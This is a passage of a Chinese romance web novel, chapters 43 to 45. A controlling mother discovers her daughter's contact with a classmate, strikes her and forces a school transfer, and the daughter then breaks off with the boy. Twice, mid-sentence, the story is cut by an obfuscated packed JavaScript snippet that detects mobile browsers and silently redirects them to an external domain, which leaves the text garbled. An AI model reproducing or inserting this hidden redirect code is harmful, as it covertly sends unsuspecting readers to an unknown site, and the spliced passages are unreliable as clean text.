可当聊到姜挽这段时间在江城的生活,涉及到她的隐私时,沈曼便又再次显现出她那强烈控制欲的一面了,一定要清楚地知道各种细节,甚至连她和谁有过联系这种事,也要事无巨细地确认。 在问到是否和陈屿联系过时,姜挽稍稍愣了一下,也是她这一愣,让沈曼当场变了脸色,摔下筷子,各种大声斥责她不听话。 前后转变如此之大,姜挽也有点接受不了,更何况她刚才还什么都没说,只不过犹豫了一下而已,她总觉得沈曼这些反应已经有点超出正常人的情绪变化了。 很小的一件事就能暴躁,一秒钟之内情绪就能起伏,而且今天还有了“摔东西”的动作,这些都让她觉得奇怪。 可她毕竟也只是一个小女孩,做不了决定,也改变不了任何,在意识到沈曼的情绪越来越激动,下一秒可能就会彻底爆发前,她还是违心地撒了谎,不敢和她继续对峙:“我没和他联系过。” 到此,沈曼的情绪这才算缓下来:“没有最好,你就应该以学习为重,其他什么都不要想,尤其是这些会影响你的人和事,更应该远离。” “嗯,我知道了。”姜挽不敢不应声,她垂眸装作喝汤的样子,长睫的阴影落下来,将心里那些无奈和悲痛也全都掩了去。 —— 转眼间,姜挽回北城已两周有余,学校也已经开学了。这里的天气和江城还真是不一样,每天不是飘雪就是落雨,半个月了,她几乎都没见着一次太阳。 天闷着,人也闷着,像是有什么大事来临前的那种闷,暗沉无光,惶惶地看不见天日。 今日大雨,沈曼仍然坚持在公交站台接她,路上雨势渐大,雨伞并不能全面遮挡,姜挽的衣服湿了一大半。到家,沈曼让她先去洗澡,她则在外面帮她检查功课。 说是检查功课,其实也是借机查看她的东西,越是临近高考,她就越是谨慎,对姜挽也管得越来越严,不希望出一点岔子。 东西大概翻了一遍,没什么特别的,沈曼刚想松一口气,放在桌面的手机突然响,是姜挽的。她看一眼,是江慧心打来的电话,这是那个人的妈妈,只是看到这个名字,沈曼都觉得难受。 可如今正是姜挽复习的关键时期,沈曼不想她被打扰,况且这也不是江慧心第一次打来电话了,她不想这样的事情再继续发生。 皱着眉,她接通电话,先开口:“是我,沈曼,你找呦呦有什么事?” 在江慧心面前,她真是一点也不隐藏,单刀直入,冷言冷语,甚至连一个假意的礼貌也不愿意有。 听到她的声音,电话那头的江慧心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448289|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有些吃惊,自从那件事后,这还是她头一次和沈曼单独对话,她有点紧张,甚至还带着些许卑微:“呦呦不在吗?” “她在洗澡,你有什么事直接和我说吧。” “也好,其实也不是什么大事,就是寒假的时候她落了两件衣服在我这,我想问她还需不需要,需要的话,我就给她寄回去。” “不用了,她衣服很多,不差这一两件。”沈曼一口回绝,然后追加道,“既然你也知道这不是什么大事,况且呦呦现在很忙,以后这种事情你就不要再打扰她了。” 被这样对待,江慧心也没生气,反而依旧好脾气地讨好沈曼:“我知道了,我以后不会了,只要呦呦好就行。” “她当然会好,”也不知哪句话刺激到了沈曼,她突然尖酸刻薄起来,“你放心,她跟着我,我就算自己不吃不喝也不会亏待她的。” “我不是这个意思……” 江慧心想解释,却被沈曼打断:“我不在乎你什么意思,我只在乎呦呦。之前我之所以能同意她回去看你,是不想看她伤心,至于其他的,你不要想。” “我知道,我也没有要干涉你们的意思,”江慧心叹一口气,“我知道那件事情是承安对不住你,你受了委屈,我……” 听到这个名字,沈曼瞬间像是被踩了尾巴的猫,立马反击:“不要在我面前提这个名字!”她深吸一口气,胸腔里起起伏伏的全是恨意,“那件事你不知情,所以我也不会怪你,呦呦要是想回去看你,我也不会阻拦,但其他的,你什么都不要想。” 其他的,江慧心也不敢奢望:“你放心,我也没有别的想法,只要呦呦好就行。” 长长的沉默,电话两端皆是沉默,一个是愧疚,一个是恨意。 沈曼不想再多说:“你还有其他的事吗?没有我挂了。” “等一下,”听她要挂,江慧心忙开口,关于姜挽的她可以不问,但涉及到她同学的,她觉得还是得问一下,“麻烦你帮忙问下呦呦,她那个同学的帽子也落在这里了,还需不需要再给他寄回去?” “同学,什么同学?”沈曼警觉起来。 江慧心不知道北城的这些事,还以为沈曼是和她一样希望姜挽多交朋友,便耐心和她解释,把姜挽在江城兼职碰上同学,并带他回家吃饭的事,全和她说了。 沈曼几乎是按着心口听完:“她那个同学,叫什么名字?” “陈屿,”江慧心记得清楚,“我看那小伙子人不错,带特产的时候就让呦呦也给他一份,希望她在那边能多交些朋友,有人照顾。” 话说完,没听到沈曼的回答,她便意识到自己又管多了,没敢说太多,便主动挂断了电话。 沈曼这头,直到电话里传来一阵忙音,她也没把手机放下,仍旧保持着接听电话的动作,只不过脸色已经非常差了。 她完全没想到姜挽竟然寒假还和那个男孩在一起,而且还瞒着她! 恰巧,姜挽洗完澡从浴室出来,见沈曼拿着她的手机,当下便觉不好,她尝试开口:“妈妈,你怎么……” 话说一半,她突然顿住,是因为沈曼这会儿已经转过身来,那张脸上的表情,姜挽以前从未见过,而且她觉得,她一辈子也再不会忘记了。 愤怒,怨恨,还有狂躁,原本白皙优雅的五官被冲得发红,硬生生变成了一个她从未见过的陌生人。 “你竟然骗我?” 44. 第 44 章 “妈妈,我……” 她不过才说了几个字,便立马被沈曼呵斥住:“你给我闭嘴!” 接着是一本书朝她飞来,姜挽躲闪不及,纸张划过她的额角,一阵疼痛,应该是破了的,她想,可姜挽这会儿却来不及去看,因为比这更令她害怕的,是沈曼此刻的行为。 书本,试卷,还有姜挽的书包,所有出现在书桌上的东西,全部都被她扔在了地上。她在发怒,甚至是发狂,这种场景姜挽以前也见到过几次,但没有一次像今天这么严重。 “妈妈,你怎么了?到底发生了什么?”姜挽靠近,想去安慰她,却被沈曼一把搡开,接着便是歇斯底里的质问,句句都扎在姜挽的心尖。 “你竟然骗我,绕这么大一圈来骗我?要不是你奶奶刚才给你打电话,我还被蒙在鼓里呢。你和那个叫陈屿的还真是情比金坚,都回江城了,还要偷偷见面,好,很好!” 到这,姜挽才真正明白她今天这怒气到底是因何而来了,她尝试解释:“我们是见面了,但不是你想的那样,他是去旅游,我们无意间碰上的。” “姜挽,这话你信吗?”她甚至都不愿意再叫她小名,“你到底有没有把我的话放在心上?有没有把你舅舅的工作放在心上?” “我有,当然有!”姜挽也委屈,要是没有的话,她就不会被迫和陈屿分开,也不用天天体会锥心的滋味,时常夜不能寐了。 可沈曼不听她说这些,她情绪上头,已经红了眼,根本没办法控制自己:“都这个时候了,你还不承认,还想骗我!”很突然的,她开始冷笑,随即拿起姜挽的手机,点开微信和通讯录,“那我就把你这些联系人全删了,看你们还怎么联系!” 姜挽看着她,只默默流泪,不敢上前。沈曼现在这个样子明显已经崩溃了,她怕再刺激到她。 删吧,她想,反正也不会有结局,早删早解脱罢了。 可删完了,沈曼似乎还不解气,竟然开始说要给她转学,让她离开八中,离开北城。 听到这个,姜挽是真的怕了,转学就意味着她再也没办法见到陈屿,再也不会和他有任何交集。 让她不联系他也好,不和他讲话也罢,这些姜挽都能接受。因为即便不说话,可只要去了学校,她就还能见到他,还可以默默关注他。可一旦转学,就真的什么都没有了。 带着一股无妄的幻想,她尝试恳求沈曼:“妈妈,能不能不转学,我保证以后什么都听你的,再不惹你生气了。” 隔着一段距离,沈曼和她对视,那眼神冷寂得可怕,里头像是有一块冰,而她接下来说出口的话,更是瞬间让姜挽犹如坠入无边冰窖。 “不行,这事没得商量,我明天就去学校给你办。” 姜挽彻底慌了,也顾不得许多,脱口而出:“你不能这么做,这是我的人生,你没有权利这么做!” 沈曼和她顶:“我是你妈妈,我当然有权利这么做!” 姜挽继续争取:“可现在正是复习的关键时期,你这么突然给我转学的话,会打乱我的学习计划,影响我成绩的!” 沈曼神色比她还要尖锐:“影响成绩?真正影响你学习的人你怎么不说?你要是真在乎的话,就应该听我的话,再不要和那个人混在一起了!” 姜挽没话了,她手里的牌都打完了,意识到沈曼是铁了心要让她转学后,她甚至有点自暴自弃,以前那些不敢说,不敢问的话,她打算一次性全发泄出来。 “你为什么要这么对我?为什么一定要这么疯狂地控制我?我都说了我们什么都没有,我的数学成绩也是因为他才提高的,而且,我已经按照你的要求和他不联系了,这次只是无意间碰上的,你为什么就是不相信呢?” 她从没和沈曼这么说过话,也没和她这么吵过,看着沈曼痛苦又带着惊讶的眼神,一瞬间,她竟然有些报复的快感:“我知道爸爸去世后你很辛苦,所以我一直也都很听你的话,努力学习,尽量讨你欢心,平时你对我的要求,能做到一百分,我绝对不会做到九十九。可即便是这样,你还是不满意!” 沈曼的表情已经有些不对劲了,瞳孔增大,心率过快,她用手抵住心口,可惜姜挽没有注意到:“或许有些时候,你是不是也应该反思一下,你对我的要求是不是有点太高了?即便是不和别人比,就和你自己比呢?你自己上学的时候不是也和爸爸谈恋爱吗,为什么到我这里就不可以了?” “啪”的一声,是沈曼扬手给了她一巴掌,姜挽终于停下来了。她侧着脸,嘴角因为沈曼的大手劲,微微有些出血。 “你以为姜承安是什么好东西,他出轨了!他出轨了!!”沈曼怒吼,愤怒之下是一片悲怆的底色,“他平时演得爱妻爱女的,其实背地里早就出轨了,而我却只能在他死后整理东西的时候才发现!就是因为这条路我选错了,我才会要求你,才会对你这么严格!” 姜挽简直不敢相信她听到的,害怕,震惊,想要和沈曼一问究竟,可偏偏这个时候,沈曼却突然开始手抖,甚至用力捂着自己的心口,然后顺着凳子跌落在地上。 姜挽吓傻了,连忙跑过去:“妈妈,你怎么了?” 她要扶沈曼起来,沈曼却摆手,指了指她的卧室:“我的房间,床头柜第二个抽屉,白色的药瓶,拿过来。” “好,我马上去。” 药拿过来,沈曼吃进去,好一会儿才缓过来。 恰巧谭镜从外面回来,看见姜挽屋里的一片狼藉,皱着眉抱怨道:“真是够乱的,什么时候走了,才能彻底清静。” 沈峰在旁边呵斥她:“你少说两句吧。” 他们的声音这么大,姜挽听到了,想必她旁边的沈曼也应该听到了。姜挽看着她起身,关于刚才的药,以及谭镜的话,什么都没说,只留下一句:“明天我去学校帮你办转学。” 可即便她不说,姜挽自己也能查到,她拿出手机,将刚才看到瓶身上的几个字输进去。 □□丙嗪片。 精神分裂症,躁狂症,行为紊乱等字眼,乱七八糟地跳进眼睛,钻进她的脑子里。姜挽坐在地上,抱住膝盖,直愣愣盯着头顶的照明灯,她妈妈这种情况到底是从什么时候开始的,又有多长时间了呢? 是从他爸爸去世?还是从他们来到北城?姜挽竟然一点也想不起来源头,不过脑海里断断续续来回闪现的,全是沈曼之前有些奇怪的画面。 她对她非常严格,管教很多,姜挽做任何事情都要得到她的同意,而且她不准她提任何有关江城的事。 她心情经常低落,且脾气变得很快,经常上一秒还好好的,下一秒却突然暴怒。 她还会摔东西,今天这已经不是第一次摔她的东西了,还有之前发现项链那次。 …… 原来,她的妈妈是生病了啊,可惜她却一直都没有看出来。 她不仅没看出来,还一次又一次地做了让她伤心的事,今天甚至还说了这么多伤人的话,姜挽收紧手臂,指甲陷进掌心,留下一道道青白的痕迹。 眼泪从眼眶落下来,“啪嗒”一声落在地上,同时落下的,还有她深深的自责和懊悔。 她又想起她的爸爸。 印象里,爸爸是一个脾气很好,对她和妈妈都很耐心的人。会带她游玩,送她去学校,还会给她买各种喜欢的东西,学校里的同学经常羡慕她。 可记忆就是这么奇怪,没有问题的时候,它可以一直安安稳稳地留在自己的脑海里。一旦有了怀疑,出现裂缝,根本不需要深想,只需要顺着这条裂缝去看,就能发现各种蛛丝马迹。 她爸爸其实每天晚上回家都很晚,尤其是她上高中之后,而且就算回来了,大部分时间也是在看手机。 她爸爸经常出差,记忆里,她妈妈好像也因为这个原因和他闹过,但最后也都是不了了之了。 还有,在他爸爸去世后,她妈妈和奶奶曾经爆发过一次比较激烈的争吵。当时的她不懂,还以为是因为爸爸突然去世,妈妈压力太大了,现在再看,一切似乎都有迹可循了。 原来,一切的一切,都是一场骗局,她都这么难以接受,就更别提沈曼了。 悲痛,懊悔,还有恐惧,深深攫住了她的心脏,姜挽一夜无眠,在地板上坐到了天亮。 已经第三天了,陈屿没在学校里看到姜挽的身影,问了尤伽也不知道,电话和微信又都联系不上,他很焦急,正准备拿手机再打一次,突然看见孟云程从外面回来,眼神直直地落在他身上,像是有话要说。 陈屿正为姜挽的事情烦心,没心思陪他绕弯子:“有什么事直接说。” 孟云程盯着他,似乎是在酝酿,那眼神看起来小心翼翼的,还带着几分同情:“我刚在下面听到一个消息,有点犹豫要不要告诉你。” 陈屿低头解锁手机,头都没抬:“那就不要说,我现在没心思知道。” “和姜挽有关。” 陈屿赫然抬起头,虽没开口,可那表情已经很明显了,要他说,要他一字一句地说。 孟云程看着他,像是怕他会太激动,说之前,特意安慰他:“我也是道听途说的,不一定就是真的,”见陈屿始终盯着他,他咽了口吐沫,继续道,“姜挽,可能要转学了。” 一瞬间,像是有惊雷在耳边炸响,陈屿的脑子短暂性地陷入一片嗡鸣。很快,也就几秒吧,他恢复过来,拿起手机,径直往教室外冲去。 孟云程跟着他出来,穿过走廊,跑下楼梯,陈屿的速度很快,他根本追不上。来到一楼,外面正在下雨,孟云程没继续追,他懊恼地冲着他的背影大喊:“马上就要上课了,你去哪?” 陈屿当然不会回答,他甚至都没有回头看他一眼,回答他的只有浓雾和雨色。 稍一思忖,孟云程便反应过来,他这个样子,八成是去找姜挽了。他开始后悔,后悔刚才把姜挽转学的消息告诉他了,但很快又释然,因为不告诉他,他可能会更后悔,这是他的劫,迟早都要面对。 陈屿出了教学楼,没往别处去,径直跑向校门口。雨很大,风也不小,一路扑在脸上和身上,而他却像没感觉似的,迅速拦了一辆的士:“林萃路,域清街,麻烦开快点,我付双倍的钱。” 司机也没犹豫,一脚油门,迅速汇入车流。 靠窗,能听到车窗外的雨声,还有他自己的心跳,“砰砰的”像是要从嗓子眼跳出来。陈屿拿手去按,这才注意到自己的手也有点抖。 他承认,他是慌了。 从江城回来之后他就没怎么联系过姜挽,并不是他不想,而是不敢,害怕会影响到她,会给她造成麻烦。 可正是因为不联系,一直压抑,感情才会一直堆积。本来他觉得没什么的,几个月而已,他可以等,等高考结束后她或许就会不一样了,到时候再说也来得及。 抱着这种希冀,怀着这种期许,他还能坚持。可没想到,这么多的煎熬和等待最后却换来了这样一个消息? 姜挽竟然要转学?! 她要离开八中,离开北城,离开他! 一想到以后可能再也见不到她,陈屿疼得心肺仿佛都窒息了,连呼吸这么简单的事情做起来都感觉阵阵隐痛。 “师傅,能不能再快点?” 司机看看窗外的大雨,原本是想直接拒绝的,可一抬眼,从后视镜里看见他的样子,也有点不忍心:“年轻人,我知道你急,但我还是要说一句,什么事情都没有自己的安全重要。” 话虽这么说,可司机还是在路况允许的情况下,将车速开到了最快。 右拐,终于到达目的地,陈屿快速扫码,继而推开车门,大步奔出去。在浓重的雨幕里,在泼墨的天色里,他一步不停,没一会儿便来到了姜挽住的小区楼下。 可真正到了地方,他却不敢贸然前进了,因为他记得姜挽之前和他说过,这里其实并不是她的家,她如今只是借住而已。 胸腔里有个声音在吼叫,催促他不顾一切地冲进去,去找她,去问清楚。可大脑里又有另外一个声音在阻止,告诫他不能这么做。他这样一个异性贸然出现在她家门口,不知道会掀起怎样的血雨腥风。 理智与情感的较量,亘古不变的话题。别人不知道,但在陈屿这,只有一条线,那就是不能让她为难。 不能直接上去,陈屿便想其他办法让她下来。几经周折,他终于通过公用电话联系上了姜挽,接通后他的话很少,就两句:“我在你家楼下。” “你下来见我一面,不然我不会走。” 姜挽正在收拾东西,和沈曼一起,是她们当初来北城时带来的,现在要一并带走。突然从电话里听到陈屿的声音,很是震惊。接电话前她看了,是个陌生的号码,如果提前知道是他,她是不会…… 不会什么? 她问自己,不会接吗,但内心似乎又不是这样想的。 电话挂断,她看一眼时间,下午两点,应该是上课时间,她不知道他是怎么从学校出来,又是怎么冒着大雨来到这里的。 姜挽不是一个善于隐藏的人,自挂断电话,她就开始变得心神不宁,时不时都要去窗户那里看一眼,可外面雨太大,光线也暗,她什么都看不清楚。 沈曼也发现她的异常了,从她接到刚才的那通电话起。刚才电话里的声音她听了个七七八八,大概也能猜到是怎么回事:“我下去帮你处理吧。” “不用!”姜挽赫然打断她,她知道沈曼的脾气,这样贸然下去的话,不会对陈屿多客气的。可他什么也没做错,即便是她要离开,也不该让他承担任何莫须有的伤害。 “妈妈,我想自己和他说。” 沈曼皱眉:“我要是不同意呢?” 姜挽坚持:“这是我离开北城前的最后一个请求,请你答应我,我保证以后都乖乖听你的话,”自从知道沈曼的病之后,姜挽都不大敢刺激她了,“我就下去和他告个别,你相信我,不会有其他任何事情发生的。” 这已经相当于是哀求了,毕竟是自己的女儿,沈曼也心疼,而且一想到她们马上就要离开北城,以后应该也不会再有任何联系了,她松了口:“那你去吧,记住我和你说的话。” 得到了允许,姜挽立马朝门口走,走到一半她又反身回来,去衣柜里翻找。 沈曼觉得奇怪:“你找什么?” 东西找到了,姜挽攥在手心,可她却说:“没什么。” 许是觉得累吧,沈曼也没再追问,顺手递给她一把伞,叮嘱:“记住你刚才说的话,不要节外生枝。” 关门,下楼,奔跑,出了小区门口,姜挽一眼便看见了陈屿,这才发现他站着的这个位置从楼上是看不见的,可出了小区门,却又异常明显。只是他没撑伞,从头到脚,全湿了,正滴滴答答地往下淌水。 姜挽连忙走过去,撑开伞,遮在他的头顶。 伞外一片雨色,伞下四目相对,他们就这么看着,两人都没开口。 突然,陈屿从她手中接过伞,将一大半都撑在了她那边,眼睛将她紧紧盯住。 他是想质问她的,过来的一路,他甚至连质问的话都想好了,可真正见到她,又舍不得,于是,轻轻的一句,他开口:“为什么要转学?” 似乎还伴着心碎的声音。 这么轻的一句,落在姜挽心上,却让她心痛难忍。她倒是希望他能质问她,能骂她,这样至少他能好过点。 “不为什么,我妈妈的工作安排。” 陈屿觉得她没说实话,可又拿她没办法,一心急,抬手要去拉她,被姜挽躲开了,也是她这一躲,让陈屿看清了她额角的伤口。 “你额头怎么回事?” 姜挽连忙用手挡住,应该是沈曼那天扔书的时候砸到了,这几天她在家也没照镜子,也没注意到这个:“没事。” 她在躲他,在抗拒,什么都不和他说,在和他划线。刚才那股“以后再也见不到她”的恐惧又来了,陈屿惊慌,固执地想要抓住点什么:“那你告诉我,你打算转学去哪里,我有时间了就去看你。” 其实是转回江城,但姜挽不说:“不用了,反正我们以后也不会再有联系了。” “什么叫不会再有联系了?”因为她这一句话,陈屿一直压抑的情绪瞬间爆发,这相当于是直接给他判了死刑,赤裸裸打碎了他的所有幻想。 “你说不联系就不联系了吗?你问过我的意见吗?凭什么一切都由你来决定?” 他喊得凶,可气势却弱,像是一个被抛弃的孩子,毫无章法:“当初你说影响学习,不和我联系,我同意了。后来你一声不吭就换座位,我也接受了。就算在江城,因为顾忌你的感受,我也不敢越雷池半步。我处处听你的,一点也不敢越矩,时刻控制自己的情感,就是怕惹你生气。” 陈屿的声音在抖,淋淋漓漓地带着心碎:“可你呢,你是怎么对我的?一次次的拒绝不说,这次竟然还要直接离开?”急火攻心下,他开始口无遮拦,“姜挽,没有你这样的!你到底把我当什么了?就算是耍人玩儿,也该有个度吧?” 他们离得近,陈屿每说一句话,姜挽都能清晰感觉到他情绪的起伏,挣扎,痛苦,心痛,还有不甘,她又何尝不是呢? 可这件事情已经超出了她能解决的范畴,此时天平的两端,一端是他,一端是她妈妈。离开了她,他还能好好生活,而且还会活得更好,可她妈妈如今已经生病了,她真的不敢去赌。 眼前是一双黑色的,犹如黑曜石一般的眼睛,很亮,很真,让姜挽不敢与之对视,她赫然闭上眼:“我从没答应过你什么,也没有许诺过你什么,所以,我转学,到底和你有什么关系?” “是,你没有,你从来都没有!”陈屿指着自己的脑袋,眼睫坠着雨滴,“是我自己的问题,是这里出了问题,每时每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448290|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,每分每秒,这里面全都是你。” 陈屿几乎是近乎绝望地剖开了自己,希望她能看看他,怜悯怜悯他。 姜挽的心在颤抖,像是被一直大手攫住,几乎没办法呼吸。不能再待了,她告诉自己,要马上离开。再待下去,她也不敢保证自己会说出什么话,做出什么事情来。 “那是你自己的事情,和我无关。” 她强迫自己转身,打算离开,却被陈屿一把扯住胳膊,姜挽能感觉到他的身体在颤抖,同时颤抖的,还有他的声音。 “对不起,你别走,我刚才是气昏头了,才说了那些话。你不要生气,我给你道歉,这些都是我自愿的,我不怪你。” 明明不是他的错,他却一再退让,姜挽是真不忍心看他再这样下去了,她推开他的手:“陈屿,你走吧,以后都不要再联系我了。” 陈屿当然不会走,反而将她的手攥得更紧了:“这不是你的本意是不是,你是有苦衷的对不对?你告诉我,你把事情完完整整地都告诉我,我可以帮你解决。” 他是个坚定的人,姜挽一直都知道,从他黑色的眼睛和刚毅的脸颊也能看出。要是没有这些乱七八糟的事,要是她和他之间能再纯粹点,姜挽想,她一定会和他在一起。 可惜,没有如果。 “不是,我没有苦衷,”为了让他死心,为了斩断念想,她连假话都用上了,“其实我从来都不喜欢你,我喜欢的,一直都是裴思那种类型。” 一瞬间,陈屿像是没明白她这句话的意思,有点不知所措。雨点那么大,全部浇在他身上,他也没什么感觉。 “我要是哪里做的不好,哪里惹你生气了,你可以告诉我,但请你不要说这种话来骗我,也没必要。” 姜挽盯着他的眼睛:“我说的是实话。” 陈屿突然心慌,是那种心空了一块,没办法弥补的心慌:“我不信。”他说。 姜挽一点也不比他好受,雨滴落在长睫上,颤颤地往下坠,她突然庆幸有这场雨,掩盖了一些其他的东西:“随你,反正我该说的都已经说完了。” 陈屿看着那双眼睛,那双他最喜欢,笑起来像弯弯的新月,星子一样明亮的眼睛,他困惑,更哑然。他不明白,这样一双漂亮的眼睛,面对他时,为何会如此冷漠? 最后一次,他问:“告诉我你要转学去哪里。” 姜挽还是不回答,沉默地和他对峙。 在这沉默里,陈屿的最后一点希望也被粉碎了,等了这么久,忍了这么久,到头来却是这样的结果,他要疯了:“你他妈就这么怕我缠着你吗?就这么迫不及待地要和我一刀两断?” “是。”姜挽肯定他的猜测,不仅肯定,还要再度加码,手伸进口袋,拿出她刚才从楼上带下来的那个东西,是之前陈屿送她的手链。 “这个,还给你。” “你不要就扔了。” 陈屿看都不看,扬手打掉。 “啪嗒”一声,手链落在地上,掉进水坑,在周围一圈溅起小幅度的水花。 到这一步,真的没什么再说的了,姜挽很轻地眨了下眼睛,抬手抹掉自己脸上的雨水:“我回去了,你也走吧。” 衣角被拉住,她没回头。抬手,拉扯,断开,她不再停留,赫然离开。当然,一路也没回头。 如果她中途回头一次的话,就会发现,曾经那个飞扬恣意,意气风发的少年,此刻正站在雨里,满身狼狈,近乎绝望地看着她,希望她能回头看他一眼。 陈屿看着她的背影,一颗心仿佛都被揉碎了。 天色阴沉,狂风撕扯着枝桠,更大的一场雨,要来了。 姜挽转学的事情办得很快,没过几天,她便从八中,从北城彻底离开了。她的座位换了新人,排名也被其他人刷新,一切恢复如常,好似什么都没发生过一样。 尤伽和孟云程也觉得伤心,可他们不敢当着陈屿的面讨论这些。 “你平时和姜挽走得近,知道她为什么转学吗?” “不知道,这事从来没听她说过。” “连你她都不告诉,看来是真的不想再和我们有联系了。”孟云程叹气,“联系方式还有吗?要不你问问?” 尤伽黯然:“没了,她已经删了,我试过好多次都没联系上她,也不知道她到底遇上了什么事。” 孟云程接连不断地叹气:“我们倒还好,我只是怕陈屿难以接受。” 尤伽疑惑:“是吗,可我看他最近挺正常的啊,按时按点上学,连课堂上都比之前认真不少,作业也跟着做了。” “你不懂,”孟云程一副感触颇多的样子,“他这会儿表现得越正常,就说明他心里越难受。” 尤伽还是不太懂。 “算了,不提这些了,晚上想吃什么,我请你,我看你这些天也挺难受的。” “不吃了,没心思。” “那不行,怎么着饭也得吃。” “再说吧……” —— 起床,吃饭,上学,陈屿这段时间的生活规律得简直能用“三好学生”来形容了。可具体私下什么样,只有他自己清楚。 姜挽离开后的每一夜,他都辗转反侧,寤寐思服。睁眼是她,闭眼也是她。最后实在没办法,搞学习吧,他想,至少还能转移下注意力。 月考,竞赛,联考,只要是陈屿参加的考试,就没有不拿第一的,连他爸妈都有点被他这股努力的劲儿吓到,一再强调不用这么努力,差不多就行。 可陈屿却很坚持,而他坚持的,还不止这一件事。 长这么大,从没喜欢过什么小动物的他,却突发奇地要养猫,而且还是从外面领回来的一只野猫。 他爸妈担心野猫身上不干净,拐着弯儿劝他:“这猫长得一般,也不是什么稀有的品种,你要是真喜欢的话,我们给你买好的,这只就算了。” “不用,就这只就行,我会带它去做检查,打疫苗,把所有的手续都办好,”陈屿很坚持,“而且,它不是野猫,他有名字,叫‘小酒’。” 他爸妈一副不敢置信的表情,虽不理解,但尊重。 小酒在外面放养惯了,突然被关在家里,很不习惯,在陈屿的房间里上蹿下跳,还把他名贵的球鞋咬坏了几双。 “小酒,你干嘛呢?”某天,陈屿放学回家,见它又叼着自己的球鞋,忙从它嘴里夺回来,“真是和你妈一样,一点也不让人省心。” 他这么说,小酒像是听懂了,舔着他的手心,抬起脑袋“呜呜呜”地直往他脸上蹭。 这么久了,他对姜挽的感情从没和其他人提起过,今天无意中说出来,小酒又是这副撒娇的样子,他忍不住感慨:“她都不要你了,你还想着她,也不看看每天是谁照顾你的,真是和她一样,都是没良心的小骗子。” 他话虽这么说,可语气却温柔,光听语气,不会觉得是抱怨,反而更像是情人间温柔的呢喃。 小酒当然不会回答,陈屿抱起它,朝卧室走,依旧自言自语:“你说,她是不是在怪我?怪我当初去美国考试,却故意骗她出国。我当时其实也没别的意思,只是想看她在不在意我而已。”说到这,陈屿垂下眼睫,“所以说我现在这样也是活该,一语成谶,正中靶心,现在倒是她彻底地离开,再也不回来了。” 小酒听不懂,大概是觉得他神神叨叨的,没一会儿便在他怀里睡着了。 —— 大雨,漫天瓢泼的大雨。 陈屿就站在她对面,冷冷地看着她。 而后,他开始愤怒地指责她,说她是个骗子,说她玩弄他的感情,说如果早知道她是这样的人,他宁愿从没认识过她! 姜挽被他这些话刺得锥心,惶急地想要解释:“不,不是这样的,我是有苦衷的,我也是喜欢你的,只是……” “够了,”可陈屿却打断她,冷漠又带着恨意的眼神死死把她盯着,“你别说了,我不会再相信你,一辈子都不会原谅你!” “不——!” 猛地,姜挽从黑暗里醒来,入目先是熟悉的墙壁,还有贴着卡通图案的衣柜,然后是一阵燥热,她意识到,她这是在江城,和沈曼一起在她们之前的房子里。 原来刚才只是一个梦啊。 可即便只是个梦,梦里陈屿的眼神,对她而言也足以万箭穿心。 “呦呦,你醒了?”沈曼在她旁边坐着,见她醒来,很担心,忙拍着她的胸口,“刚才梦到什么了,那么伤心。”她伸手去擦她脸上的眼泪,安慰道,“没事了,没事了。” 姜挽觉得累,声音也很虚:“没事,做了一个噩梦。” 沈曼没再追问,拿手碰了碰她的额头,松了一口气:“温度终于降下来了,你这场病闹了这么长时间,这次终于要好了。” 是吗,要好了吗?可姜挽却怎么感觉越来越难受,永远也不会好了呢。 45. 第 45 章 泛黄的纸张上有泪渍,晕染了字体,姜挽拿手擦了擦。她合上笔记本,如同合上那段往事。 额头还有些热,仿佛那场高热,时隔八年,仍留有余温。 在家休了个周末,周一的早晨,姜挽被闹钟叫醒。洗漱,早餐,加收拾和化妆,她动作很快,全程不过用了半小时而已。坐地铁到公司,路过楼下的咖啡店时,照例买了一杯拿铁。 姜挽习惯提前半小时到,所以每天基本都是第一个进公司的,可今天推开门,却发现沈繁星已经到了,而且还坐在她的办公室,显然是在专门等她。 还不待她开口,沈繁星见她进门,便立马从凳子上起身,朝着她过来,脸上兴奋劲儿难掩:“哎呀,你终于来了,我都等你半天了。” 姜挽大概能猜到她为什么这么兴奋:“GSC的合同搞定了?” “搞定了,周末这两天我加班看的,”沈繁星看上了她手里的那杯咖啡,姜挽很爽快地递给她,她接过喝一口,继续感叹道,“你别说,这大公司的合同就是严谨,甲乙双方的权利和义务都列得清清楚楚,一条霸王条款都没有。” 姜挽不太懂法律,可单听沈繁星这么说,也能预想到和GSC合作应该是很省事的。 其实周末这两天在家,她也已经想清楚了,如果说她们公司需要出一个人来负责这个项目的话,于情于理,她确实都是最合适的人选。 至于她担心的问题,就像沈繁星那天说的一样,陈屿那种级别的领导,估计也只有在双方初次见面的时候能看到他,其他时间,应该是不会出现的。 所以这会儿,姜挽也很干脆:“那等合同流程处理完,你把GSC项目的资料发给我。” “你同意接这个项目了?”沈繁星的声音不小,因为惊喜,眼睛瞪得更大了。 “还有别的办法吗?”姜挽看着她,做出无奈的表情,“再说了,你这一大早的就来办公室堵我,不就是为了和我说这件事吗?” 沈繁星有些不好意思,讪讪一笑:“被你猜到了。” “对啊,我还猜到了你想喝我的咖啡。” 姜挽说这话时没看她,低头从包里拿电脑,语气虽无奈,但仔细听,就能发现更多的是宠溺。沈繁星虽然年纪比她大,可性格和脾气却很直爽,有时候甚至有些不谙世事。所以,两人认识这么多年,很多时候,姜挽都会不自觉地让着她。 